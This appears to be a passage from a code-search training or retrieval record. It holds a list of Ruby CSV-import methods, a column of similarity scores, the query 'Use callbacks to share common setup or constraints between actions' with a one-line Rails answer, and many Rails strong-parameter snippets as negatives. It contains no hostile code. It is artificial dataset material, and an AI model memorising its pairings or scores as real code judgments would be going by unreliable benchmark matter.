"def parse_file\n if @csv_source == \"siteimprove\"\n column_seperator = \"\\t\" \n # If using CharlockHolmes Encoding Detector, uncomment this\n #detection = CharlockHolmes::EncodingDetector.detect(contents)\n #@csv_encoding = detection[:encoding]\n @csv_encoding = \"UTF-16LE\"\n elsif @csv_source == \"google\" \n column_seperator = \",\"\n # If using CharlockHolmes Encoding Detector, uncomment this \n #detection = CharlockHolmes::EncodingDetector.detect(contents)\n #@csv_encoding = detection[:encoding]\n @csv_encoding = \"ISO-8859-1\"\n end\n contents = File.read(@csv_filename)\n output_encoding = @csv_encoding + \":UTF-8\"\n arr_csv_contents = CSV.read(@csv_filename, { :encoding => output_encoding, :headers => true, :col_sep => column_seperator, :skip_blanks => true })\n if @csv_source == \"siteimprove\"\n @site_name = \"Graduate Research\"\n @site_addr = \"http://gradresearch.unimelb.edu.au\"\n arr_csv_contents.each { |row| \n @arr_of_titles << row[0]\n @arr_of_urls << row[1]\n } \n # delete the first two rows of the array\n @arr_of_titles = @arr_of_titles.drop(2)\n @arr_of_urls = @arr_of_urls.drop(2) \n elsif @csv_source == \"google\" \n #@site_name = \"Grainger Museum\"\n @site_name = \"Varied-Sample\"\n @site_addr = \"http://www.unimelb.edu.au/\"\n arr_csv_contents.each { |row| \n @arr_of_titles << row[0]\n @arr_of_urls << row[7] #1 for grainger\n } \n end\n end",
"def import(filename = 'yhd.csv')\n # Load CSV rows\n puts 'Attempting to load CSV...'\n data = CsvLoader.load_csv filename\n\n # Error if no data\n unless data\n puts 'ERROR: unable to load data from CSV. Terminating.'\n return\n end\n\n # Extract headers (first row)\n headers = data[0]\n\n puts 'Normalising header names...'\n norm_headers = normalise_headers headers\n\n # Define data rows as the rest of the CSV\n row_range = 1..data.size\n\n # Get data from each row (process it line at a time)\n puts 'Loading data...'\n load_data_from_rows(norm_headers, data[row_range])\n\n puts 'Creating relationships between definitions...'\n create_definition_associations\n\n puts 'Done!'\n\n @error_reporter.print\n end",
"def import_students_and_tas(file)\n spreadsheet = open_spreadsheet(file)\n header = spreadsheet.row(1)\n (2..spreadsheet.last_row).each do |i|\n row = Hash[[header, spreadsheet.row(i)].transpose]\n user = User.find_by_email(row[\"email\"].downcase)\n # Create random password, requires members to respond to email before using the system.\n unless user\n o =[('a'..'z'),('A'..'Z'),('0'..'9')].map{|i| i.to_a}.flatten\n token = (0...12).map{ o[rand(o.length)] }.join\n user = User.new(:password => token, :password_confirmation => token)\n user.reset_password_token = token\n user.reset_password_sent_at = Time.now\n user.attributes = row.to_hash.slice(*User.accessible_attributes)\n user.role = 'student'\n user.save!\n Emailer.delay.signup_confirmation(user)\n end\n\n if row[\"role\"].downcase == 'student'\n StudentInCourse.create(:user_id => user.id, :course_id => id)\n\t\t\t\t\tgroup = row['group']\n\t\t\t\t\tunless(group.nil?)\n\t\t\t\t\t\tCourseGroup.create(:user_id => user.id, :course_id => id, :group => group)\n\t\t\t\t\tend\n elsif row[\"role\"].downcase == 'ta'\n TaForCourse.create(:user_id => user.id, :course_id => id)\n end\n end\n end",
"def upload_csv\n datafile = params['csv-file']\n begin\n response = Request.post_request(URL_QUESTION, {\n questions: parse_json(datafile['tempfile'])\n })\n rescue\n redirect '/upload-csv'\n end\n @questions = []\n if response.success?\n data = Request.manage_response(response)\n data.each do |question|\n @questions << Question.new(question)\n end\n erb :table, layout: :session\n end\nend",
"def load_csv\n # read each line frmo csv and append to recipes collection\n CSV.foreach(@csv_file) do |row|\n # puts \"#{row[0]} | #{row[1]}\"\n @recipes << Recipe.new(name: row[0], description: row[1], cooking_time: row[2], difficulty: row[3], tested: row[4])\n end\n end",
"def load_students\n puts \"Which file do you want to load?\"\n file = STDIN.gets.chomp\n CSV.foreach(file) do |row|\n @name, cohort = row.shift\n write_students\n end\nend",
"def help_csv(params)\n @body = params[:body]\n path = params[:contacts].tempfile.path\n filename = params[:contacts].original_filename\n attachments[filename] = File.read(path)\n\n #sender_email = ActiveSupport::JSON.decode( params[:sender_email] )\n\n mail to: params[:sender_email]\n #binding.pry\n end",
"def generate_csv_file(csv_string,assessment_name)\n variable_time = Time.now.strftime(\"%Y%m%d\")\n #The file name is generated based on time.\n filename = assessment_name+variable_time+\".csv\"\n #invoke send_data of fastercsv gem to generate a csv\n send_data(csv_string, :type => \"text/plain\", :filename => filename)\n end",
"def import(data, file_name = nil)\n data = strip_non_ascii(data)\n require 'csv'\n CSV.new(data, :headers => :first_row).collect do |row|\n if data.starts_with?(HEADER_TRANSACTIONS)\n # For deposit - the amount (total deposit)\n # For purchase - the price (amount - last price) and number (quantity)\n action_name = row['ActionNameUS']\n next if action_name.blank?\n type = row['RecordType']\n symbol = row['Symbol']\n quantity = row['Quantity'].to_i\n event_date = Date.strptime(row['TradeDate'], '%m/%d/%Y')\n amount = row['Amount'].to_f\n price = row['Price'].to_f\n commission = row['Commission'].to_f\n\n line_item = InvestmentLineItem.new\n line_item.event_date = event_date\n\n if action_name == 'IRA Receipt' or action_name == 'Cash Adjustment'\n line_item.type = InvestmentLineItem::TYPE_DEPOSIT\n line_item.total_amount = line_item.amount = amount\n elsif action_name == 'Dividend'\n line_item.type = InvestmentLineItem::TYPE_DIVIDEND\n line_item.symbol = symbol\n line_item.total_amount = line_item.amount = amount\n elsif action_name == 'Credit Interest'\n line_item.type = InvestmentLineItem::TYPE_INTEREST\n line_item.total_amount = line_item.amount = amount\n else\n line_item.type = (action_name == 'Buy' ? InvestmentLineItem::TYPE_BUY : InvestmentLineItem::TYPE_SELL)\n line_item.symbol = symbol\n line_item.number = quantity.abs\n line_item.amount = price\n line_item.total_amount = amount.abs\n line_item.fee = commission.abs\n end\n\n line_item\n else\n symbol = row['Symbol']\n quantity = row['Qty'].to_i.abs\n event_date = Date.strptime(row['Event Date'], '%m/%d/%Y') if row['Event Date'].present?\n event_date = Date.strptime(file_name.split('.')[0].split('-')[1].strip.gsub(':', '/'), '%m/%d/%Y') if file_name.present?\n event_date ||= Time.now\n last_price = strip_non_numbers(row['Last Price'])\n\n line_item = InvestmentLineItem.new\n line_item.type = InvestmentLineItem::TYPE_STATUS\n line_item.event_date = event_date\n line_item.symbol = symbol\n line_item.number = quantity\n line_item.amount = last_price\n line_item\n end\n end.compact.collect { |line_item| line_item.to_json_as_imported }\n end",
"def read_creddentials\n creddentials = []\n CSV.foreach ENV['HOME'] + '/creddentials.csv' do |record|\n creddentials << record\n end\n @email = creddentials[0][0]\n @password = creddentials[0][1]\n rescue StandardError => e\n abort(\"You are not logged in!\\nERROR:\\n#{e}\")\n end",
"def user_csv_import(row)\n {\n 'user' => {\n 'content' => {\n 'email' => row[0],\n 'login' => row[1],\n 'firstname' => row[2],\n 'lastname' => row[3]\n },\n 'meta' => {}\n }\n }\n end",
"def invite\n invitation_service.invite(invitation_params)\n rescue CSV::MalformedCSVError => e\n current_course.errors.add(:invitations_file, e.message)\n return false\n end",
"def read(string)\n lines = string.split(\"\\n\")\n header = lines[0]\n attributes = header.split(',').map! { |v| v.to_sym }\n # Struct.new('CSVEntry', *attributes)\n ret = []\n lines.drop(1).each do |line|\n values = line.split(',')\n opts = {}\n values.each_with_index do |val, idx|\n opts[attributes[idx]] = val\n end\n ret << Struct::CSVEntry.new(opts)\n end\n\n ret\n end",
"def csv_report_by_user( csv, headings )\n\n # Assemble the heading row.\n\n file_row = [ '', 'Code', 'Billable?', 'Active?' ]\n\n @report.filtered_users.each do | user |\n headings.each do | heading |\n file_row << \"#{ user.name }#{ heading }\"\n end\n end\n\n headings.each do | heading |\n file_row << \"Row total#{ heading }\"\n end\n\n csv << file_row.flatten\n\n # Section and task list, user breakdown.\n\n sections_initialise_sections()\n @report.rows.each_index do | row_index |\n\n row = @report.rows[ row_index ]\n task = @report.filtered_tasks[ row_index ]\n file_row = []\n\n # New section? Write out the section title and totals if so.\n\n if ( sections_new_section?( task ) )\n file_row << sections_section_title( true )\n file_row << ( task.project.try( :code ) || '-' ) << '' << ''\n\n @report.filtered_users.each_index do | user_index |\n file_row << hours( @report.sections[ sections_section_index() ].user_row_totals[ user_index ] )\n end\n\n file_row << hours( @report.sections[ sections_section_index() ] )\n\n csv << file_row.flatten\n file_row = []\n end\n\n # Task title, data and summary information\n\n file_row << \" -- #{ task.title }\"\n file_row << task.code\n file_row << @@application_helper.apphelp_boolean( task.billable )\n file_row << @@application_helper.apphelp_boolean( task.active )\n\n row.user_row_totals.each do | user_row_total |\n file_row << hours( user_row_total )\n end\n\n file_row << hours( row )\n csv << file_row.flatten\n end\n\n # Column totals.\n\n file_row = [ 'Column total', '', '', '' ]\n\n @report.user_column_totals.each do | user_column_total |\n file_row << hours( user_column_total )\n end\n\n file_row << hours( @report )\n csv << file_row.flatten\n end",
"def send!\n self.to_csv.split(/\\n/).each do |line|\n user = User.find_by_email(line.split(/\\t/)[0])\n fields = line.strip.split(/\\t/)[1..-1]\n self.send_message(user, fields)\n end\n end",
"def pull_emilys_event_data(event_website) #event_website must be a string\n\n event_title = ScrapeEventURLs.create(event_website, \".bsd-contribForm-aboveContent/h1\")[0][7..-8]\n\n description_raw, date_location_raw = ScrapeEventURLs.create(event_website, \".bsd-contribForm-aboveContent/p\")[0..1]\n description = description_raw.gsub(\"<p>\", \"\").gsub(\"</p>\", \"\").gsub(\"\\r\", \"\").gsub(\"\\n\", \"\")\n\n date_times_raw, location_raw = date_location_raw.split(\"<br><br>\")\n stripped_date_times_raw = date_times_raw.gsub(\"\\n\", \"\").gsub(\"\\r\", \"\").gsub(\"<p>\", \"\")\n date_raw, both_times = stripped_date_times_raw.split(\"<br>\")\n start_time_raw, end_time_raw = both_times.split(\" - \")\n event_location = location_raw.gsub(\"\\r\\n\", \"\").gsub(\"<br>\", \" \").gsub(\"</p>\", \"\")\n\n\n #This block transforms intermediate date, times, and location into start_time and end_time strings that include date, 24time, and timezone\n date_string = FormatDateTime.date_string(date_raw)\n start_time, end_time = FormatDateTime.time_string(start_time_raw, end_time_raw)\n timezone = \"+0000\" #using UTC as default for now because DetermineTimezone.zone(event_location) is not yet working\n start_time = \"#{date_string} #{start_time} #{timezone}\"\n end_time = \"#{date_string} #{end_time} #{timezone}\"\n\n\n #These 2 categories can't yet be determined from url data, so they are given assumptions based on knowledge of Emilys List events in general\n free = false\n cta_type = \"onsite\"\n\n parsed_event = CreateJsonObject.create_json_object(event_title, description, free, start_time, end_time, cta_type, event_website)\n [parsed_event, event_location]\nend",
"def print_id\n contacts = CSV.read(@@file_path)\n end",
"def load_students(filename = \"students.csv\")\n file = File.open(filename, \"r\")\n file.readlines.each do |line|\n name, cohort, hobbies = line.strip.split(',')\n add_student({name: name, cohort: cohort.to_sym, hobbies: hobbies})\n end\n file.close\nend",
"def load_students(filename = \"students.csv\")\n puts \"Enter file name to open:\"\n input_file = STDIN.gets.chomp\n input_file.empty? ? file = File.open(filename, \"r\") : file = File.open(input_file, \"r\") do |file|\n file.readlines.each do |line|\n name, cohort = line.chomp.split(\",\")\n @students << {name: name, cohort: cohort.to_sym}\n end\n end\n puts \"Your students have been loaded succesfully!\"\nend"
] |
[
"0.6008913",
"0.5999142",
"0.58534825",
"0.57968885",
"0.56920034",
"0.5681582",
"0.5681582",
"0.5534668",
"0.55276257",
"0.5483217",
"0.5479187",
"0.54735196",
"0.5430181",
"0.5417413",
"0.53606445",
"0.5312355",
"0.5263729",
"0.52403474",
"0.5235028",
"0.52002263",
"0.519984",
"0.51888275",
"0.5159809",
"0.51526546",
"0.5144517",
"0.5142925",
"0.514204",
"0.5120519",
"0.50964314",
"0.5087096",
"0.50676656",
"0.50667125",
"0.5063085",
"0.50141716",
"0.4991863",
"0.49817598",
"0.49774113",
"0.4964063",
"0.49637878",
"0.4957202",
"0.4937122",
"0.49290857",
"0.4927451",
"0.4923057",
"0.4917727",
"0.49029037",
"0.4898237",
"0.48974803",
"0.48788336",
"0.48596957",
"0.48555553",
"0.48504245",
"0.4846822",
"0.48451546",
"0.48370975",
"0.48293453",
"0.4829239",
"0.482794",
"0.48212677",
"0.48170483",
"0.4805747",
"0.48018557",
"0.47993284",
"0.4787262",
"0.4783619",
"0.47818694",
"0.47784153",
"0.47761846",
"0.47608995",
"0.47600496",
"0.47573858",
"0.4755228",
"0.47405583",
"0.47394916",
"0.47364545",
"0.4730079",
"0.4727462",
"0.47247845",
"0.4718108",
"0.47136483",
"0.47100636",
"0.47088352",
"0.4707375",
"0.46925542",
"0.46924037",
"0.4691001",
"0.46855363",
"0.46813887",
"0.46705052",
"0.46662694",
"0.4662168",
"0.46612293",
"0.4654389",
"0.46543434",
"0.46459615",
"0.4643986",
"0.46350497",
"0.4633134",
"0.46322283",
"0.46302894",
"0.46299022"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_wit
@wit = Wit.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a trusted parameter "white list" through.
|
def wit_params
params.require(:wit).permit(:body, :user_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
